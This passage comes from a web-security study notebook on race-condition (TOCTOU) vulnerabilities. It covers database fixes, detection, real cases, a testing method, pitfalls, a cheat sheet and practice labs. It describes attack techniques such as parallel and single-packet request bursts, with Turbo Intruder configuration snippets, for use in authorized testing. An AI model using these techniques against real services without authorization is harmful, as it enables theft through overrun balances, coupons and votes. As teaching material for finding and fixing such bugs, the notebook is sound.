-- Single-use token / coupon: claim atomicallyUPDATE coupons SET used = 1, used_by = :uidWHERE code = :code AND used = 0; -- rowcount 1 = you won it, 0 = already usedThe row lock the UPDATE takes serialises concurrent writers; the WHERE re-checks under that lock.
No window.
12.2 Pessimistic locking (fixes read-then-write when you truly need the read first)
Section titled “12.2 Pessimistic locking (fixes read-then-write when you truly need the read first)”When you must read, compute, then write (e.g. compute a fee from other tables), lock the row up front:
BEGIN;SELECT balance FROM accounts WHERE id = :id FOR UPDATE; -- row locked until COMMIT-- ... compute in app ...UPDATE accounts SET balance = :newbal WHERE id = :id;COMMIT;Any concurrent SELECT … FOR UPDATE on the same row blocks here, serialising the critical section.
12.3 Optimistic locking (high-concurrency, low-conflict)
Section titled “12.3 Optimistic locking (high-concurrency, low-conflict)”-- read version with the row, then:UPDATE items SET stock = stock - 1, version = version + 1WHERE id = :id AND version = :read_version AND stock > 0;-- rowcount 0 => someone moved first OR out of stock => retry or fail12.4 Unique constraints and idempotency keys (fixes duplicate creation & partial construction)
Section titled “12.4 Unique constraints and idempotency keys (fixes duplicate creation & partial construction)”Let the database enforce “only one” — it’s the one component that’s always atomic:
CREATE UNIQUE INDEX uq_one_vote ON votes(user_id, poll_id);CREATE UNIQUE INDEX uq_email ON users(lower(email));-- Idempotent writes: client sends an Idempotency-Key; store it uniquely.CREATE UNIQUE INDEX uq_idem ON payments(idempotency_key);A raced duplicate INSERT now fails on the constraint instead of succeeding twice. Idempotency keys
are the standard fix for “retried/replayed payment” and duplicate-submit races: the first request
inserts (idempotency_key, result); concurrent/duplicate requests collide on the unique index and
return the stored result instead of acting again (this is how Stripe’s API dedupes).
12.5 Serializable isolation (the backstop for write skew)
Section titled “12.5 Serializable isolation (the backstop for write skew)”When the invariant spans multiple rows (write skew — “at least one admin”, “sum of allocations ≤
budget”), row locks on a single row don’t help. Run the transaction at SERIALIZABLE; the database
detects the conflicting interleaving and aborts one transaction with a serialization failure, which you
retry.
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;12.6 Defense selection table
Section titled “12.6 Defense selection table”| Failure mode | Right fix | Wrong / insufficient fix |
|---|---|---|
| Balance / limit overrun | Atomic UPDATE … WHERE balance >= amt | SELECT then UPDATE in a READ COMMITTED txn |
| Single-use token/coupon | Atomic UPDATE … WHERE used=0, or unique constraint | App-level if not used: check |
| Duplicate account / vote | UNIQUE index | “check exists then insert” in app code |
| Duplicate payment / submit | Idempotency key (unique) | Disable button in JS |
| Multi-row invariant (write skew) | SERIALIZABLE + retry | Row-level FOR UPDATE on one row |
| Read-compute-write | SELECT … FOR UPDATE (pessimistic) | Longer transaction alone |
| Racy rate limit | Atomic INCR, check return value | GET counter then SET |
12.7 What does NOT fix races (common false comfort)
Section titled “12.7 What does NOT fix races (common false comfort)”- Client-side disabling of buttons / JS debounce — attacker sends raw HTTP, JS never runs.
- “Wrap it in a transaction” at default isolation — still permits lost updates unless you lock or use an atomic write.
- A short
sleep, retry, or “it’s fast so the window is tiny” — the single-packet attack hits microsecond windows; small is not zero. - Rate limiting alone — helps against volume but not against a 20-request single-packet burst that all lands inside one window, and is itself racy if not atomic.
- Idempotency implemented as check-then-insert — must be a unique constraint / atomic upsert, or the idempotency layer has its own race.
12.8 Detection & monitoring (blue team)
Section titled “12.8 Detection & monitoring (blue team)”You will rarely see a race in a WAF signature — the individual requests are valid. Detect it by outcome and pattern:
- Application invariants as alerts: a gift card marked redeemed but crediting more than its value; a
coupon’s
used_countexceeding 1; stock going negative; a user’s vote count > 1. Assert these in the DB (CHECK constraints:CHECK (stock >= 0)) and alert on constraint-violation errors and on serialization-failure spikes. - Burst detection: many requests to the same state-changing endpoint from one session within a few
milliseconds — especially a cluster of identical
POSTs with near-identical timestamps — is the signature of a parallel/single-packet attack. Log request receive-time at microsecond resolution on sensitive endpoints and alert on tight clusters. - Reconciliation: periodic jobs that re-sum balances/ledgers against transaction logs catch value that was duplicated by a race even when no single request looked wrong. For anything financial, a double-entry ledger with a reconciliation check is the real safety net.
- Post-incident: the tell in logs is N successful responses to an operation that should have succeeded once, with sub-millisecond spacing.
Part 13: Real-World Cases, Research, and CVEs
Section titled “Part 13: Real-World Cases, Research, and CVEs”Races are not academic — they’ve drained real value and shipped in real products.
- James Kettle / PortSwigger, “Smashing the state machine: the true potential of web race conditions” (2023) — introduced the single-packet attack and the modern taxonomy (limit overrun, multi-endpoint, single-endpoint partial construction). The definitive primary source; read it before the labs.
- HackerOne disclosed reports repeatedly show limit-overrun races against wallets, gift cards, referral/invite systems, coupon stacking, and vote/like manipulation — many resolved as High/Critical because they translate directly to money or integrity loss. Racing “invite N friends” to mint unlimited invites, and racing coupon application to stack discounts, are recurring patterns.
- Financial/crypto “double-spend via race” — several exchange and wallet bugs allowed withdrawing or transferring the same balance twice by racing withdrawal endpoints before the balance debit committed; a textbook read-then-write lost-update at the money layer.
- Filesystem TOCTOU CVEs — the non-web root of the class: countless
access()/open()and temp-file symlink races in setuid utilities and installers. The mechanics are identical to the web version; only the transport differs, which is why understanding the filesystem archetype (Part 2) sharpens your eye for the web one. O_CREAT|O_EXCLandmkstempexist precisely because “check file doesn’t exist, then create it” is a race; the atomic-create flag is the filesystem analogue of a unique constraint.
The through-line: every one of these is a check/use gap closed by making the operation atomic at the enforcing layer.
Part 14: A Testing Methodology for Finding Races in the Wild
Section titled “Part 14: A Testing Methodology for Finding Races in the Wild”A repeatable process for an authorized engagement or in-scope bounty target.
flowchart TD
A[Inventory state-changing endpoints] --> B{Feature implies a limit,<br/>uniqueness, or one-shot?}
B -- no --> A
B -- yes --> C[Capture one known-good request]
C --> D[Baseline: does it work once?]
D --> E[Fire 20-30 in parallel<br/>single-packet / parallel group]
E --> F{Side effect exceeds the limit?}
F -- no --> G[Try multi-endpoint / sequence timing<br/>widen window, fresh tokens]
F -- yes --> H[Confirmed. Prove ONCE, minimally.<br/>Document, stop, report]
G --> F
Step notes:
- Inventory the state changers. Anything that mutates balance, quota, count, status, uniqueness, or a one-time token. Ignore pure reads.
- Flag the “one/limit/single/first-N” features. Coupons, gift cards, withdrawals, votes, invites, referrals, stock/inventory, OTP/2FA/reset tokens, “claim once” rewards, username/email registration. These are check/use pairs by definition.
- Capture a clean single success in your proxy — exact headers, cookies, CSRF/nonce, body.
- Watch for per-request anti-replay. If each request needs a fresh CSRF token or nonce, a naïve duplicate fails for the wrong reason. Either the token is per-session (reusable → fine) or you must script fetching a fresh token per request in Turbo Intruder. Distinguish “rejected because raced correctly” from “rejected because stale token.”
- Fire the burst. Repeater parallel group (fast confirm) → Turbo Intruder single-packet (volume, fresh tokens). 20–30 requests is plenty.
- Judge by side effect, not status codes. Check the balance/count/inventory out of band.
- On success, prove it once, minimally, and stop. Don’t loop it to drain value; a single double-effect with before/after evidence is a complete PoC. Then write it up.
Ethics and scope — hard boundary. Races on live systems duplicate real state: money, inventory, votes, accounts. Only test targets you’re authorized to test, prefer the smallest possible proof (double, not 100×), never test against other users’ data, and reverse any state you can (redeem back, refund, delete the duplicate) when the program allows. On your own lab, go wild. On someone else’s system, one clean, reversible proof is the professional standard.
Part 15: Common Pitfalls & Gotchas
Section titled “Part 15: Common Pitfalls & Gotchas”- Sequential loops don’t race. A
forloop ofcurl/requestscalls finishes each request (commit included) before the next starts. You need genuine concurrency (parallel group, threads with a barrier, or Turbo Intruder), or you’ll “test” and wrongly conclude it’s safe. - Network jitter kills naïve concurrency. Twenty threads over the public internet still smear across milliseconds. If the window is tight, use the single-packet attack (HTTP/2) — it’s the difference between 1-in-10 flaky and deterministic.
- Counting 200s ≠ measuring impact. Some endpoints return 200 to every request but only one takes effect; others return 200 for each that took effect. Always verify the side effect.
- Fresh-token endpoints. Per-request CSRF nonces or one-time tokens make duplicates fail for a non-race reason. Confirm the token is reusable within the window or script fresh ones.
- The window may be microseconds. Don’t dismiss a check/use gap because “it’s fast.” Fast is exactly what the single-packet attack defeats.
- Dev-server single-threading. When building a lab, Flask’s dev server is single-threaded unless
threaded=True; without it you can’t reproduce the race. Production servers are concurrent by default — don’t let a single-threaded lab convince you a pattern is safe. - SQLite in the lab locks the whole DB. SQLite serialises writers at the file level, which can mask some races and expose others; it’s fine for the teaching lab but reproduce serious findings against the target’s real engine (Postgres/MySQL) where isolation semantics differ.
- “It’s behind a transaction” is not “it’s safe.” Default isolation still permits lost updates.
Verify the fix is an atomic write, a lock, a unique constraint, or SERIALIZABLE — not just
BEGIN … COMMIT. - Idempotency-key done wrong is still racy. If two duplicate requests both “check key not seen, then insert,” they race; it must be a unique-constraint / atomic upsert.
- Reversibility on live targets. If you must prove a race in scope, prefer effects you can undo and the smallest N that proves it.
Part 16: Final Revision / Summary
Section titled “Part 16: Final Revision / Summary”- A race condition is a correctness bug where the outcome depends on the timing/interleaving of concurrent operations that isn’t actually guaranteed. TOCTOU is the security-critical flavour: a check and a later use of the same state, with a window between them where the state can change.
- Web servers are concurrent (processes, threads, async event loops). Between any two lines of a handler, another request’s handler may run — so read-decide-write across a round trip is inherently racy.
- The state usually lives in the database, and whether the bad interleaving is allowed depends on the isolation level. READ COMMITTED (Postgres default) and REPEATABLE READ (MySQL default) both permit lost updates for naïve read-then-write; only atomic writes, locking, or SERIALIZABLE close them.
- The exploit shapes: limit overrun (redeem/withdraw/vote past the limit by firing parallel requests), multi-endpoint / state-machine (race the gap between two handlers), single-endpoint partial construction (interleave a handler’s internal sub-steps), and rate-limit/OTP bypass.
- Last-byte sync (HTTP/1.1) shrinks but doesn’t remove inter-request jitter; the single-packet attack (HTTP/2 multiplexing, ~20–30 requests in one TCP packet) removes it and makes microsecond windows reliably hittable.
- Tooling: Burp Repeater “Send group in parallel (single connection)” to confirm fast; Turbo
Intruder (
Engine.BURP2, gate API) for volume, fresh tokens, and control. - Fixes, mapped: atomic conditional
UPDATE … WHERE(limit overrun & single-use),SELECT … FOR UPDATE(read-compute-write), optimistic version columns (high concurrency), unique constraints / idempotency keys (duplicate creation & payments), SERIALIZABLE (write skew). Client-side guards, plain transactions, and “it’s fast” are not fixes. - Judge by side effect, prove once, stay in scope. The professional standard on a live target is a single, minimal, reversible proof.
Memory hook: “You check, I change, you use.” Find the check, find the use, look for daylight between them, and race the gap — then close it by making the check be the use.
Part 17: Cheat Sheet / Quick Reference
Section titled “Part 17: Cheat Sheet / Quick Reference”CONCEPT Race condition : outcome depends on timing of concurrent ops (unguaranteed) TOCTOU : check state (TOC) -> gap -> act on it (TOU); attacker mutates in gap Lost update : two txns read old value, both write -> one write lost Write skew : each txn's write is individually fine, together break an invariant
WHY SERVERS RACE Processes (gunicorn/php-fpm) | threads (puma/servlet) | async loop (node/asyncio/go) -> between any two lines of a handler, another request can run
ISOLATION DEFAULTS Postgres/Oracle/SQLServer = READ COMMITTED (allows lost update on read-then-write) MySQL/InnoDB = REPEATABLE READ (allows write skew; lock to be safe) SERIALIZABLE = safe, but retry on serialization_failure
EXPLOIT SHAPES Limit overrun : fire 20-30 parallel -> redeem/withdraw/vote past the limit Multi-endpoint : race the gap between two handlers (apply-coupon vs checkout) Partial construct : interleave a handler's internal create->link->finalise steps Rate-limit bypass : parallel requests all read counter<limit before any increment
TECHNIQUE Last-byte sync (HTTP/1.1): send all but final byte on N conns, release together Single-packet (HTTP/2) : ~20-30 full requests in ONE TCP packet -> ~0ms spread
TOOLS Burp Repeater : tabs -> group -> "Send group in parallel (single connection)" [HTTP/2 = single-packet] "Send group in sequence (single connection)" [ordered 2-step races] Turbo Intruder: RequestEngine(concurrentConnections=1, engine=Engine.BURP2) # single-packet engine.queue(req, gate='x'); engine.openGate('x') # release together
TEST METHOD 1 inventory state-changing endpoints 2 flag one/limit/single/first-N features 3 capture 1 good request 4 handle per-request tokens 5 fire 20-30 parallel 6 judge by SIDE EFFECT 7 prove ONCE, minimally, in scope
FIXES (pick by failure mode) overrun / single-use : UPDATE t SET used=1 WHERE code=? AND used=0; (rowcount==1 wins) balance debit : UPDATE acct SET bal=bal-:a WHERE id=? AND bal>=:a; read-compute-write : SELECT ... FOR UPDATE; ... UPDATE ...; (pessimistic) high concurrency : UPDATE ... SET version=version+1 WHERE id=? AND version=:v; (optimistic) duplicate create : CREATE UNIQUE INDEX ... (votes, email, username) duplicate payment : idempotency key as UNIQUE index (atomic upsert, not check-then-insert) write skew : SET TRANSACTION ISOLATION LEVEL SERIALIZABLE; + retry rate limit : atomic INCR, check the returned value
NOT A FIX client-side button disable | plain BEGIN/COMMIT at default isolation | "it's fast" rate limit alone | idempotency via check-then-insertPart 18: Practice Labs & Resources
Section titled “Part 18: Practice Labs & Resources”Targets that train exactly this chapter’s skills:
- PortSwigger Web Security Academy — Race conditions (free, the definitive lab set, built around the
single-packet attack and Burp’s parallel groups):
- Limit overrun race conditions — the canonical gift-card/coupon overrun; confirm with a Repeater parallel group.
- Bypassing rate limits via race conditions — race the limiter on a login/OTP-style endpoint.
- Multi-endpoint race conditions — race the gap between two handlers (add-to-cart / checkout style).
- Single-endpoint race conditions — partial-construction against one endpoint.
- Exploiting time-sensitive vulnerabilities — a timing-based sub-class.
- Partial construction race conditions — the “hidden multi-step within one request” lab.
- James Kettle, “Smashing the state machine: the true potential of web race conditions” (2023) — the primary research paper. Read it in full; it explains the taxonomy and the single-packet attack that every lab above is built on.
- Tools to install and drill: Burp Suite (Repeater tab groups → Send group in parallel (single
connection)), the Turbo Intruder BApp (drive the race templates; practise the
Engine.BURP2single-packet config and the gate API), and a local Flask + SQLite lab (this chapter’s Part 9) to build, break, and fix your own overrun. - Disclosed reports: browse HackerOne’s public reports tagged race condition / TOCTOU against wallets, coupons, invites, and votes to see real weaponisation and severity justification, and to calibrate what a minimal, reversible PoC looks like.
- Databases: reproduce the fixes against real engines — try the atomic-
UPDATE,SELECT … FOR UPDATE, unique-constraint, andSERIALIZABLEvariants on PostgreSQL and MySQL and observe how each engine’s default isolation changes the outcome. This is the muscle memory that makes you fix races, not just find them.
This chapter closes the Server-Side notebook. Across all six chapters the recurring lesson has been the same one, in different clothing: never let attacker-controllable input — or, here, attacker-controllable timing — silently decide the meaning or the outcome of a trusted server-side operation. SSRF, upload, traversal, deserialization, and smuggling each broke that rule in space; race conditions break it in time. The defensive answer is always to move the decision to the layer that can enforce it atomically, and let it be the single, authoritative point where the check and the use are one and the same.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.